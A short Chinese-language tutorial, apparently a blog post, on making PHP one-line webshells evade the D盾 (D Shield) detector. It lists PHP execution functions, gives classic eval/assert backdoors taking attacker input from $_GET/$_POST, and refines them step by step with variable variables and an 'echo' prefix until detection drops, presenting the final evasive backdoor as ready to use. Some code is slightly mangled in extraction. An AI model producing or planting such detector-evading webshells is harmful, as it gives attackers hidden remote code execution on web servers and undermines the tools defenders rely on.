其实绕过D盾的webshell,很好绕过,不需要对php的理解有多深入,其实往往最简单的方法就可以绕过D盾 我们就来一发简简单单绕过D盾的姿势方法。 ps,有友友留言说想看phpwebshell绕过D盾,这不是有手就行? 0x01一句话 PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了) eval()assert()system()shell()shell_exec()exec()call_user_func()call_user_func_array()array_filter() 常用的一句话如下: ?phpeval($_POST[a]);??phpassert( $_POST[a]);?0x02一句话绕过D盾 首先我们用php常用一句话 可以发现,直接就是5级eval后门 我们可以猜想把$_POST[a]这边换成一个变量,看看D盾的级别会是多少 可以发现还少了1级 如果我们把$a在变成一个定义好的变量呢? 上图可以发现,如果eval后面跟上定义好的变量,级别就会变成1,说明里面有说,是Eval后门,因为参数的问题。 现在呢,我们要运用到PHP的基础知识,可变变量,什么是可变变量,我在下方做出解释 下方代码输出$a ?php$a="w";echo$a;? 下方代码输出$$a ?php$a="w";$$a="c";echo$$a;? 此时我们呢,输出$w会发现是c,也不会报错$w不是变量, 当我们$$a的时候,把a和w都会被定义,这个就是可变变量 ?php$a="w";$$a="c";echo$w;? 我们发现这样的小操作,是不是就可以演变到我们的一句话木马里面 ?php$a=ww;$$a=$_GET[a];eval($ww);? 如上图发现,说参数ww是未知的内容,那么我们直接在第一行定义一下ww不就可以了? ?php$ww="heihei";$a=ww;$$a=$_GET[a];eval($ww);? 发现报可疑eval了,每当到这一步其实离成功就差一个小数点,我们利用php相关的特性和连接符,或者注释符,即可绕过 这里我们用echo让它理解成字符串即可绕过 ?php$ww="heihei";$a=ww;$$a=$_GET[a];echoeval($ww);? 怎么样很简单吧。其实我们就了解php的基础语法就可以绕过。 |